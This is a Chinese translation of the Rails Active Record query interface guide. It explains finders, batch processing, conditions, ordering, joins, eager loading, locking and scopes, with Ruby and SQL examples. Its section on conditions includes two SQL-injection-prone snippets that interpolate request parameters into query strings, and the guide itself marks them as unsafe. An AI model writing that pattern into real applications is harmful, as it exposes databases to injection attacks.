+client = Client.last
+# => #<Client id: 221, first_name: "Russel">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+
+
+
+

如果没有找到匹配的记录,last 方法返回 nil,而不抛出异常。

如果默认作用域 (请参阅 应用默认作用域)包含排序方法,last 方法会返回按照这个顺序排序的最后一条记录。

last 方法接受数字作为参数,并返回不超过指定数量的查询结果。例如:

+
+client = Client.last(3)
+# => [
+#   #<Client id: 219, first_name: "James">,
+#   #<Client id: 220, first_name: "Sara">,
+#   #<Client id: 221, first_name: "Russel">
+# ]
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 3
+
+
+
+

对于使用 order 排序的集合,last 方法返回按照指定属性排序的最后一条记录。例如:

+
+client = Client.order(:first_name).last
+# => #<Client id: 220, first_name: "Sara">
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients ORDER BY clients.first_name DESC LIMIT 1
+
+
+
+

last! 方法的行为和 last 方法类似,区别在于如果没有找到匹配的记录,last! 方法会抛出 ActiveRecord::RecordNotFound 异常。

1.1.5 find_by 方法

find_by 方法查找匹配指定条件的第一条记录。 例如:

+
+Client.find_by first_name: 'Lifo'
+# => #<Client id: 1, first_name: "Lifo">
+
+Client.find_by first_name: 'Jon'
+# => nil
+
+
+
+

上面的代码等价于:

+
+Client.where(first_name: 'Lifo').take
+
+
+
+

和上面的代码等价的 SQL 是:

+
+SELECT * FROM clients WHERE (clients.first_name = 'Lifo') LIMIT 1
+
+
+
+

find_by! 方法的行为和 find_by 方法类似,区别在于如果没有找到匹配的记录,find_by! 方法会抛出 ActiveRecord::RecordNotFound 异常。例如:

+
+Client.find_by! first_name: 'does not exist'
+# => ActiveRecord::RecordNotFound
+
+
+
+

上面的代码等价于:

+
+Client.where(first_name: 'does not exist').take!
+
+
+
+

1.2 批量检索多个对象

我们常常需要遍历大量记录,例如向大量用户发送时事通讯、导出数据等。

处理这类问题的方法看起来可能很简单:

+
+# 如果 users 表有几千行记录,这样做效率很低
+User.all.each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

但随着数据表越来越大,这种方法越来越行不通,因为 User.all.each 会使 Active Record 一次性取回整个数据表,为每条记录创建模型对象,并把整个模型对象数组保存在内存中。事实上,如果我们有大量记录,整个模型对象数组需要占用的空间可能会超过可用的内存容量。

Rails 提供了两种方法来解决这个问题,两种方法都是把整个记录分成多个对内存友好的批处理。第一种方法是通过 find_each 方法每次检索一批记录,然后逐一把每条记录作为模型传入块。第二种方法是通过 find_in_batches 方法每次检索一批记录,然后把这批记录整个作为模型数组传入块。

find_eachfind_in_batches 方法用于大量记录的批处理,这些记录数量很大以至于不适合一次性保存在内存中。如果只需要循环 1000 条记录,那么应该首选常规的 find 方法。

1.2.1 find_each 方法

find_each 方法检索一批记录,然后逐一把每条记录作为模型传入块。在下面的例子中,find_each 方法取回 1000 条记录(find_eachfind_in_batches 方法都默认一次检索 1000 条记录),然后逐一把每条记录作为模型传入块。这一过程会不断重复,直到完成所有记录的处理:

+
+User.find_each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

要想为 find_each 操作添加条件,我们可以链接其他 Active Record 方法,例如 where 方法:

+
+User.where(weekly_subscriber: true).find_each do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+
1.2.1.1 find_each 方法的选项

find_each 方法可以使用 find 方法的大多数选项,但 :order:limit 选项例外,它们是 find_each 方法内部使用的保留选项。

find_each 方法还可以使用 :batch_size:start:finish 这三个附加选项。

:batch_size

:batch_size 选项用于指明批量检索记录时一次检索多少条记录。例如,一次检索 5000 条记录:

+
+User.find_each(batch_size: 5000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

:start

记录默认是按主键的升序方式取回的,这里的主键必须是整数。:start 选项用于配置想要取回的记录序列的第一个 ID,比这个 ID 小的记录都不会取回。这个选项有时候很有用,例如当需要恢复之前中断的批处理时,只需从最后一个取回的记录之后开始继续处理即可。

下面的例子把时事通讯发送给主键从 2000 开始的用户,一次检索 5000 条用户记录:

+
+User.find_each(start: 2000, batch_size: 5000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

:finish

:start 选项类似,:finish 选项用于配置想要取回的记录序列的最后一个 ID,比这个 ID 大的记录都不会取回。这个选项有时候很有用,例如可以通过配置 :start:finish 选项指明想要批处理的子记录集。

下面的例子把时事通讯发送给主键从 2000 到 10000 的用户,一次检索 5000 条用户记录:

+
+User.find_each(start: 2000, finish: 10000, batch_size: 5000) do |user|
+  NewsMailer.weekly(user).deliver_now
+end
+
+
+
+

另一个例子是使用多个职程(worker)处理同一个进程队列。通过分别配置 :start:finish 选项可以让每个职程每次都处理 10000 条记录。

1.2.2 find_in_batches 方法

find_in_batches 方法和 find_each 方法类似,两者都是批量检索记录。区别在于,find_in_batches 方法会把一批记录作为模型数组传入块,而不是像 find_each 方法那样逐一把每条记录作为模型传入块。下面的例子每次把 1000 张发票的数组一次性传入块(最后一次传入块的数组中的发票数量可能不到 1000):

+
+# 一次把 1000 张发票组成的数组传给 add_invoices
+Invoice.find_in_batches do |invoices|
+  export.add_invoices(invoices)
+end
+
+
+
+
1.2.2.1 find_in_batches 方法的选项

find_each 方法一样,find_in_batches 方法可以使用 :batch_size:start:finish 选项。

2 条件查询

where 方法用于指明限制返回记录所使用的条件,相当于 SQL 语句的 WHERE 部分。条件可以使用字符串、数组或散列指定。

2.1 纯字符串条件

可以直接用纯字符串为查找添加条件。例如,Client.where("orders_count = '2'") 会查找所有 orders_count 字段的值为 2 的客户记录。

使用纯字符串创建条件存在容易受到 SQL 注入攻击的风险。例如,Client.where("first_name LIKE '%#{params[:first_name]}%'") 是不安全的。在下一节中我们会看到,使用数组创建条件是推荐的做法。

2.2 数组条件

如果 Client.where("orders_count = '2'") 这个例子中的数字是变化的,比如说是从别处传递过来的参数,那么可以像下面这样进行查找:

+
+Client.where("orders_count = ?", params[:orders])
+
+
+
+

Active Record 会把第一个参数作为条件字符串,并用之后的其他参数来替换条件字符串中的问号(?)。

我们还可以指定多个条件:

+
+Client.where("orders_count = ? AND locked = ?", params[:orders], false)
+
+
+
+

在上面的例子中,第一个问号会被替换为 params[:orders] 的值,第二个问号会被替换为 false 在 SQL 中对应的值,这个值是什么取决于所使用的数据库适配器。

强烈推荐使用下面这种写法:

+
+Client.where("orders_count = ?", params[:orders])
+
+
+
+

而不是:

+
+Client.where("orders_count = #{params[:orders]}")
+
+
+
+

原因是出于参数的安全性考虑。把变量直接放入条件字符串会导致变量原封不动地传递给数据库,这意味着即使是恶意用户提交的变量也不会被转义。这样一来,整个数据库就处于风险之中,因为一旦恶意用户发现自己能够滥用数据库,他就可能做任何事情。所以,永远不要把参数直接放入条件字符串。

关于 SQL 注入的危险性的更多介绍,请参阅 安全指南

2.2.1 条件中的占位符

和问号占位符(?)类似,我们还可以在条件字符串中使用符号占位符,并通过散列提供符号对应的值:

+
+Client.where("created_at >= :start_date AND created_at <= :end_date",
+  {start_date: params[:start_date], end_date: params[:end_date]})
+
+
+
+

如果条件中有很多变量,那么上面这种写法的可读性更高。

2.3 散列条件

Active Record 还允许使用散列条件,以提高条件语句的可读性。使用散列条件时,散列的键指明需要限制的字段,键对应的值指明如何进行限制。

在散列条件中,只能进行相等性、范围和子集检查。

2.3.1 相等性条件
+
+Client.where(locked: true)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.locked = 1)
+
+
+
+

其中字段名也可以是字符串:

+
+Client.where('locked' => true)
+
+
+
+

对于 belongs_to 关联来说,如果使用 Active Record 对象作为值,就可以使用关联键来指定模型。这种方法也适用于多态关联。

+
+Article.where(author: author)
+Author.joins(:articles).where(articles: { author: author })
+
+
+
+

相等性条件中的值不能是符号。例如,Client.where(status: :active) 这种写法是错误的。

2.3.2 范围条件
+
+Client.where(created_at: (Time.now.midnight - 1.day)..Time.now.midnight)
+
+
+
+

上面的代码会使用 BETWEEN SQL 表达式查找所有昨天创建的客户记录:

+
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+
+
+
+

这是 数组条件中那个示例代码的更简短的写法。

2.3.3 子集条件

要想用 IN 表达式来查找记录,可以在散列条件中使用数组:

+
+Client.where(orders_count: [1,3,5])
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+
+
+
+

2.4 NOT 条件

可以用 where.not 创建 NOT SQL 查询:

+
+Client.where.not(locked: true)
+
+
+
+

也就是说,先调用没有参数的 where 方法,然后马上链式调用 not 方法,就可以生成这个查询。上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE (clients.locked != 1)
+
+
+
+

3 排序

要想按特定顺序从数据库中检索记录,可以使用 order 方法。

例如,如果想按 created_at 字段的升序方式取回记录:

+
+Client.order(:created_at)
+# 或
+Client.order("created_at")
+
+
+
+

还可以使用 ASC(升序) 或 DESC(降序) 指定排序方式:

+
+Client.order(created_at: :desc)
+# 或
+Client.order(created_at: :asc)
+# 或
+Client.order("created_at DESC")
+# 或
+Client.order("created_at ASC")
+
+
+
+

或按多个字段排序:

+
+Client.order(orders_count: :asc, created_at: :desc)
+# 或
+Client.order(:orders_count, created_at: :desc)
+# 或
+Client.order("orders_count ASC, created_at DESC")
+# 或
+Client.order("orders_count ASC", "created_at DESC")
+
+
+
+

如果多次调用 order 方法,后续排序会在第一次排序的基础上进行:

+
+Client.order("orders_count ASC").order("created_at DESC")
+# SELECT * FROM clients ORDER BY orders_count ASC, created_at DESC
+
+
+
+

4 选择特定字段

Model.find 默认使用 select * 从结果集中选择所有字段。

可以使用 select 方法从结果集中选择字段的子集。

例如,只选择 viewable_bylocked 字段:

+
+Client.select("viewable_by, locked")
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT viewable_by, locked FROM clients
+
+
+
+

请注意,上面的代码初始化的模型对象只包含了所选择的字段,这时如果访问这个模型对象未包含的字段就会抛出异常:

+
+ActiveModel::MissingAttributeError: missing attribute: <attribute>
+
+
+
+

其中 <attribute> 是我们想要访问的字段。id 方法不会引发 ActiveRecord::MissingAttributeError 异常,因此在使用关联时一定要小心,因为只有当 id 方法正常工作时关联才能正常工作。

在查询时如果想让某个字段的同值记录只出现一次,可以使用 distinct 方法添加唯一性约束:

+
+Client.select(:name).distinct
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT DISTINCT name FROM clients
+
+
+
+

唯一性约束在添加之后还可以删除:

+
+query = Client.select(:name).distinct
+# => 返回无重复的名字
+
+query.distinct(false)
+# => 返回所有名字,即使有重复
+
+
+
+

5 限量和偏移量

要想在 Model.find 生成的 SQL 语句中使用 LIMIT 子句,可以在关联上使用 limitoffset 方法。

limit 方法用于指明想要取回的记录数量,offset 方法用于指明取回记录时在第一条记录之前要跳过多少条记录。例如:

+
+Client.limit(5)
+
+
+
+

上面的代码会返回 5 条客户记录,因为没有使用 offset 方法,所以返回的这 5 条记录就是前 5 条记录。生成的 SQL 语句如下:

+
+SELECT * FROM clients LIMIT 5
+
+
+
+

如果使用 offset 方法:

+
+Client.limit(5).offset(30)
+
+
+
+

这时会返回从第 31 条记录开始的 5 条记录。生成的 SQL 语句如下:

+
+SELECT * FROM clients LIMIT 5 OFFSET 30
+
+
+
+

6 分组

要想在查找方法生成的 SQL 语句中使用 GROUP BY 子句,可以使用 group 方法。

例如,如果我们想根据订单创建日期查找订单记录:

+
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+
+
+
+

上面的代码会为数据库中同一天创建的订单创建 Order 对象。生成的 SQL 语句如下:

+
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+
+
+
+

6.1 分组项目的总数

要想得到一次查询中分组项目的总数,可以在调用 group 方法后调用 count 方法。

+
+Order.group(:status).count
+# => { 'awaiting_approval' => 7, 'paid' => 12 }
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT COUNT (*) AS count_all, status AS status
+FROM "orders"
+GROUP BY status
+
+
+
+

7 having 方法

SQL 语句用 HAVING 子句指明 GROUP BY 字段的约束条件。要想在 Model.find 生成的 SQL 语句中使用 HAVING 子句,可以使用 having 方法。例如:

+
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+  group("date(created_at)").having("sum(price) > ?", 100)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+
+
+
+

上面的查询会返回每个 Order 对象的日期和总价,查询结果按日期分组并排序,并且总价必须高于 100。

8 条件覆盖

8.1 unscope 方法

可以使用 unscope 方法删除某些条件。 例如:

+
+Article.where('id > 10').limit(20).order('id asc').unscope(:order)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id > 10 LIMIT 20
+
+# 没使用 `unscope` 之前的查询
+SELECT * FROM articles WHERE id > 10 ORDER BY id asc LIMIT 20
+
+
+
+

还可以使用 unscope 方法删除 where 方法中的某些条件。例如:

+
+Article.where(id: 10, trashed: false).unscope(where: :id)
+# SELECT "articles".* FROM "articles" WHERE trashed = 0
+
+
+
+

在关联中使用 unscope 方法,会对整个关联造成影响:

+
+Article.order('id asc').merge(Article.unscope(:order))
+# SELECT "articles".* FROM "articles"
+
+
+
+

8.2 only 方法

可以使用 only 方法覆盖某些条件。例如:

+
+Article.where('id > 10').limit(20).order('id desc').only(:order, :where)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id > 10 ORDER BY id DESC
+
+# 没使用 `only` 之前的查询
+SELECT "articles".* FROM "articles" WHERE (id > 10) ORDER BY id desc LIMIT 20
+
+
+
+

8.3 reorder 方法

可以使用 reorder 方法覆盖默认作用域中的排序方式。例如:

+
+class Article < ApplicationRecord
+  has_many :comments, -> { order('posted_at DESC') }
+end
+
+
+
+
+
+Article.find(10).comments.reorder('name')
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY name
+
+
+
+

如果不使用 reorder 方法,那么会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE id = 10
+SELECT * FROM comments WHERE article_id = 10 ORDER BY posted_at DESC
+
+
+
+

8.4 reverse_order 方法

可以使用 reverse_order 方法反转排序条件。

+
+Client.where("orders_count > 10").order(:name).reverse_order
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+
+
+
+

如果查询时没有使用 order 方法,那么 reverse_order 方法会使查询结果按主键的降序方式排序。

+
+Client.where("orders_count > 10").reverse_order
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+
+
+
+

reverse_order 方法不接受任何参数。

8.5 rewhere 方法

可以使用 rewhere 方法覆盖 where 方法中指定的条件。例如:

+
+Article.where(trashed: true).rewhere(trashed: false)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE `trashed` = 0
+
+
+
+

如果不使用 rewhere 方法而是再次使用 where 方法:

+
+Article.where(trashed: true).where(trashed: false)
+
+
+
+

会生成下面的 SQL 语句:

+
+SELECT * FROM articles WHERE `trashed` = 1 AND `trashed` = 0
+
+
+
+

9 空关系

none 方法返回可以在链式调用中使用的、不包含任何记录的空关系。在这个空关系上应用后续条件链,会继续生成空关系。对于可能返回零结果、但又需要在链式调用中使用的方法或作用域,可以使用 none 方法来提供返回值。

+
+Article.none # 返回一个空 Relation 对象,而且不执行查询
+
+
+
+
+
+# 下面的 visible_articles 方法期待返回一个空 Relation 对象
+@articles = current_user.visible_articles.where(name: params[:name])
+
+def visible_articles
+  case role
+  when 'Country Manager'
+    Article.where(country: country)
+  when 'Reviewer'
+    Article.published
+  when 'Bad User'
+    Article.none # => 如果这里返回 [] 或 nil,会导致调用方出错
+  end
+end
+
+
+
+

10 只读对象

在关联中使用 Active Record 提供的 readonly 方法,可以显式禁止修改任何返回对象。如果尝试修改只读对象,不但不会成功,还会抛出 ActiveRecord::ReadOnlyRecord 异常。

+
+client = Client.readonly.first
+client.visits += 1
+client.save
+
+
+
+

在上面的代码中,client 被显式设置为只读对象,因此在更新 client.visits 的值后调用 client.save 会抛出 ActiveRecord::ReadOnlyRecord 异常。

11 在更新时锁定记录

在数据库中,锁定用于避免更新记录时的条件竞争,并确保原子更新。

Active Record 提供了两种锁定机制:

+
    +
  • 乐观锁定

  • +
  • 悲观锁定

  • +
+

11.1 乐观锁定

乐观锁定允许多个用户访问并编辑同一记录,并假设数据发生冲突的可能性最小。其原理是检查读取记录后是否有其他进程尝试更新记录,如果有就抛出 ActiveRecord::StaleObjectError 异常,并忽略该更新。

11.1.1 字段的乐观锁定

为了使用乐观锁定,数据表中需要有一个整数类型的 lock_version 字段。每次更新记录时,Active Record 都会增加 lock_version 字段的值。如果更新请求中 lock_version 字段的值比当前数据库中 lock_version 字段的值小,更新请求就会失败,并抛出 ActiveRecord::StaleObjectError 异常。例如:

+
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # 抛出 ActiveRecord::StaleObjectError
+
+
+
+

抛出异常后,我们需要救援异常并处理冲突,或回滚,或合并,或应用其他业务逻辑来解决冲突。

通过设置 ActiveRecord::Base.lock_optimistically = false 可以关闭乐观锁定。

可以使用 ActiveRecord::Base 提供的 locking_column 类属性来覆盖 lock_version 字段名:

+
+class Client < ApplicationRecord
+  self.locking_column = :lock_client_column
+end
+
+
+
+

11.2 悲观锁定

悲观锁定使用底层数据库提供的锁定机制。在创建关联时使用 lock 方法,会在选定字段上生成互斥锁。使用 lock 方法的关联通常被包装在事务中,以避免发生死锁。例如:

+
+Item.transaction do
+  i = Item.lock.first
+  i.name = 'Jones'
+  i.save!
+end
+
+
+
+

对于 MySQL 后端,上面的会话会生成下面的 SQL 语句:

+
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+
+
+
+

要想支持其他锁定类型,可以直接传递 SQL 给 lock 方法。例如,MySQL 的 LOCK IN SHARE MODE 表达式在锁定记录时允许其他查询读取记录,这个表达式可以用作锁定选项:

+
+Item.transaction do
+  i = Item.lock("LOCK IN SHARE MODE").find(1)
+  i.increment!(:views)
+end
+
+
+
+

对于已有模型实例,可以启动事务并一次性获取锁:

+
+item = Item.first
+item.with_lock do
+  # 这个块在事务中调用
+  # item 已经锁定
+  item.increment!(:views)
+end
+
+
+
+

12 联结表

Active Record 提供了 joinsleft_outer_joins 这两个查找方法,用于指明生成的 SQL 语句中的 JOIN 子句。其中,joins 方法用于 INNER JOIN 查询或定制查询,left_outer_joins 用于 LEFT OUTER JOIN 查询。

12.1 joins 方法

joins 方法有多种用法。

12.1.1 使用字符串 SQL 片段

joins 方法中可以直接用 SQL 指明 JOIN 子句:

+
+Author.joins("INNER JOIN posts ON posts.author_id = author.id AND posts.published = 't'")
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT clients.* FROM clients INNER JOIN posts ON posts.author_id = author.id AND posts.published = 't'
+
+
+
+
12.1.2 使用具名关联数组或散列

使用 joins 方法时,Active Record 允许我们使用在模型上定义的关联的名称,作为指明这些关联的 JOIN 子句的快捷方式。

例如,假设有 CategoryArticleCommentGuestTag 这几个模型:

+
+class Category < ApplicationRecord
+  has_many :articles
+end
+
+class Article < ApplicationRecord
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comment < ApplicationRecord
+  belongs_to :article
+  has_one :guest
+end
+
+class Guest < ApplicationRecord
+  belongs_to :comment
+end
+
+class Tag < ApplicationRecord
+  belongs_to :article
+end
+
+
+
+

下面几种用法都会使用 INNER JOIN 生成我们想要的关联查询。

(译者注:原文此处开始出现编号错误,由译者根据内容逻辑关系进行了修正。)

12.1.2.1 单个关联的联结
+
+Category.joins(:articles)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT categories.* FROM categories
+  INNER JOIN articles ON articles.category_id = categories.id
+
+
+
+

这个查询的意思是把所有包含了文章的(非空)分类作为一个 Category 对象返回。请注意,如果多篇文章同属于一个分类,那么这个分类会在 Category 对象中出现多次。要想让每个分类只出现一次,可以使用 Category.joins(:articles).distinct

12.1.2.2 多个关联的联结
+
+Article.joins(:category, :comments)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT articles.* FROM articles
+  INNER JOIN categories ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
+
+
+
+

这个查询的意思是把所有属于某个分类并至少拥有一条评论的文章作为一个 Article 对象返回。同样请注意,拥有多条评论的文章会在 Article 对象中出现多次。

12.1.2.3 单层嵌套关联的联结
+
+Article.joins(comments: :guest)
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT articles.* FROM articles
+  INNER JOIN comments ON comments.article_id = articles.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+
+
+
+

这个查询的意思是把所有拥有访客评论的文章作为一个 Article 对象返回。

12.1.2.4 多层嵌套关联的联结
+
+Category.joins(articles: [{ comments: :guest }, :tags])
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT categories.* FROM categories
+  INNER JOIN articles ON articles.category_id = categories.id
+  INNER JOIN comments ON comments.article_id = articles.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+  INNER JOIN tags ON tags.article_id = articles.id
+
+
+
+

这个查询的意思是把所有包含文章的分类作为一个 Category 对象返回,其中这些文章都拥有访客评论并且带有标签。

12.1.3 为联结表指明条件

可以使用普通的数组和字符串条件作为关联数据表的条件。但如果想使用散列条件作为关联数据表的条件,就需要使用特殊语法了:

+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+
+
+
+

还有一种更干净的替代语法,即嵌套使用散列条件:

+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: { created_at: time_range })
+
+
+
+

这个查询会查找所有在昨天创建过订单的客户,在生成的 SQL 语句中同样使用了 BETWEEN SQL 表达式。

12.2 left_outer_joins 方法

如果想要选择一组记录,而不管它们是否具有关联记录,可以使用 left_outer_joins 方法。

+
+Author.left_outer_joins(:posts).distinct.select('authors.*, COUNT(posts.*) AS posts_count').group('authors.id')
+
+
+
+

上面的代码会生成下面的 SQL 语句:

+
+SELECT DISTINCT authors.*, COUNT(posts.*) AS posts_count FROM "authors"
+LEFT OUTER JOIN posts ON posts.author_id = authors.id GROUP BY authors.id
+
+
+
+

这个查询的意思是返回所有作者和每位作者的帖子数,而不管这些作者是否发过帖子。

13 及早加载关联

及早加载是一种用于加载 Model.find 返回对象的关联记录的机制,目的是尽可能减少查询次数。

N + 1 查询问题

假设有如下代码,查找 10 条客户记录并打印这些客户的邮编:

+
+clients = Client.limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+
+

上面的代码第一眼看起来不错,但实际上存在查询总次数较高的问题。这段代码总共需要执行 1(查找 10 条客户记录)+ 10(每条客户记录都需要加载地址)= 11 次查询。

N + 1 查询问题的解决办法

Active Record 允许我们提前指明需要加载的所有关联,这是通过在调用 Model.find 时指明 includes 方法实现的。通过指明 includes 方法,Active Record 会使用尽可能少的查询来加载所有已指明的关联。

回到之前 N + 1 查询问题的例子,我们重写其中的 Client.limit(10) 来使用及早加载:

+
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+
+

上面的代码只执行 2 次查询,而不是之前的 11 次查询:

+
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+
+
+
+

13.1 及早加载多个关联

通过在 includes 方法中使用数组、散列或嵌套散列,Active Record 允许我们在一次 Model.find 调用中及早加载任意数量的关联。

13.1.1 多个关联的数组
+
+Article.includes(:category, :comments)
+
+
+
+

上面的代码会加载所有文章、所有关联的分类和每篇文章的所有评论。

13.1.2 嵌套关联的散列
+
+Category.includes(articles: [{ comments: :guest }, :tags]).find(1)
+
+
+
+

上面的代码会查找 ID 为 1 的分类,并及早加载所有关联的文章、这些文章关联的标签和评论,以及这些评论关联的访客。

13.2 为关联的及早加载指明条件

尽管 Active Record 允许我们像 joins 方法那样为关联的及早加载指明条件,但推荐的方式是使用联结

尽管如此,在必要时仍然可以用 where 方法来为关联的及早加载指明条件。

+
+Article.includes(:comments).where(comments: { visible: true })
+
+
+
+

上面的代码会生成使用 LEFT OUTER JOIN 子句的 SQL 语句,而 joins 方法会成生使用 INNER JOIN 子句的 SQL 语句。

+
+SELECT "articles"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "articles" LEFT OUTER JOIN "comments" ON "comments"."article_id" = "articles"."id" WHERE (comments.visible = 1)
+
+
+
+

如果上面的代码没有使用 where 方法,就会生成常规的一组两条查询语句。

要想像上面的代码那样使用 where 方法,必须在 where 方法中使用散列。如果想要在 where 方法中使用字符串 SQL 片段,就必须用 references 方法强制使用联结表:

+
+Article.includes(:comments).where("comments.visible = true").references(:comments)
+
+
+
+

通过在 where 方法中使用字符串 SQL 片段并使用 references 方法这种方式,即使一条评论都没有,所有文章仍然会被加载。而在使用 joins 方法(INNER JOIN)时,必须匹配关联条件,否则一条记录都不会返回。

14 作用域

作用域允许我们把常用查询定义为方法,然后通过在关联对象或模型上调用方法来引用这些查询。fotnote:[“作用域”和“作用域方法”在本文中是一个意思。——译者注]在作用域中,我们可以使用之前介绍过的所有方法,如 wherejoinincludes 方法。所有作用域都会返回 ActiveRecord::Relation 对象,这样就可以继续在这个对象上调用其他方法(如其他作用域)。

要想定义简单的作用域,我们可以在类中通过 scope 方法定义作用域,并传入调用这个作用域时执行的查询。

+
+class Article < ApplicationRecord
+  scope :published, -> { where(published: true) }
+end
+
+
+
+

通过上面这种方式定义作用域和通过定义类方法来定义作用域效果完全相同,至于使用哪种方式只是个人喜好问题:

+
+class Article < ApplicationRecord
+  def self.published
+    where(published: true)
+  end
+end
+
+
+
+

在作用域中可以链接其他作用域:

+
+class Article < ApplicationRecord
+  scope :published,               -> { where(published: true) }
+  scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+
+
+
+

我们可以在模型上调用 published 作用域:

+
+Article.published # => [published articles]
+
+
+
+

或在多个 Article 对象组成的关联对象上调用 published 作用域:

+
+category = Category.first
+category.articles.published # => [published articles belonging to this category]
+
+
+
+

14.1 传入参数

作用域可以接受参数:

+
+class Article < ApplicationRecord
+  scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+
+
+
+

调用作用域和调用类方法一样:

+
+Article.created_before(Time.zone.now)
+
+
+
+

不过这只是复制了本该通过类方法提供给我们的的功能。

+
+class Article < ApplicationRecord
+  def self.created_before(time)
+    where("created_at < ?", time)
+  end
+end
+
+
+
+

当作用域需要接受参数时,推荐改用类方法。使用类方法时,这些方法仍然可以在关联对象上访问:

+
+category.articles.created_before(time)
+
+
+
+

14.2 使用条件

我们可以在作用域中使用条件:

+
+class Article < ApplicationRecord
+  scope :created_before, ->(time) { where("created_at < ?", time) if time.present? }
+end
+
+
+
+

和之前的例子一样,作用域的这一行为也和类方法类似。

+
+class Article < ApplicationRecord
+  def self.created_before(time)
+    where("created_at < ?", time) if time.present?
+  end
+end
+
+
+
+

不过有一点需要特别注意:不管条件的值是 true 还是 false,作用域总是返回 ActiveRecord::Relation 对象,而当条件是 false 时,类方法返回的是 nil。因此,当链接带有条件的类方法时,如果任何一个条件的值是 false,就会引发 NoMethodError 异常。

14.3 应用默认作用域

要想在模型的所有查询中应用作用域,我们可以在这个模型上使用 default_scope 方法。

+
+class Client < ApplicationRecord
+  default_scope { where("removed_at IS NULL") }
+end
+
+
+
+

应用默认作用域后,在这个模型上执行查询,会生成下面这样的 SQL 语句:

+
+SELECT * FROM clients WHERE removed_at IS NULL
+
+
+
+

如果想用默认作用域做更复杂的事情,我们也可以把它定义为类方法:

+
+class Client < ApplicationRecord
+  def self.default_scope
+    # 应该返回一个 ActiveRecord::Relation 对象
+  end
+end
+
+
+
+

默认作用域在创建记录时同样起作用,但在更新记录时不起作用。例如:

+
+class Client < ApplicationRecord
+ default_scope { where(active: true) }
+end
+
+Client.new          # => #<Client id: nil, active: true>
+Client.unscoped.new # => #<Client id: nil, active: nil>
+
+
+
+

14.4 合并作用域

WHERE 子句一样,我们用 AND 来合并作用域。

+
+class User < ApplicationRecord
+  scope :active, -> { where state: 'active' }
+  scope :inactive, -> { where state: 'inactive' }
+end
+
+User.active.inactive
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+
+
+
+

我们可以混合使用 scopewhere 方法,这样最后生成的 SQL 语句会使用 AND 连接所有条件。

+
+User.active.where(state: 'finished')
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+
+
+
+

如果使用 Relation#merge 方法,那么在发生条件冲突时总是最后的 WHERE 子句起作用。

+
+User.active.merge(User.inactive)
+# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+
+
+
+

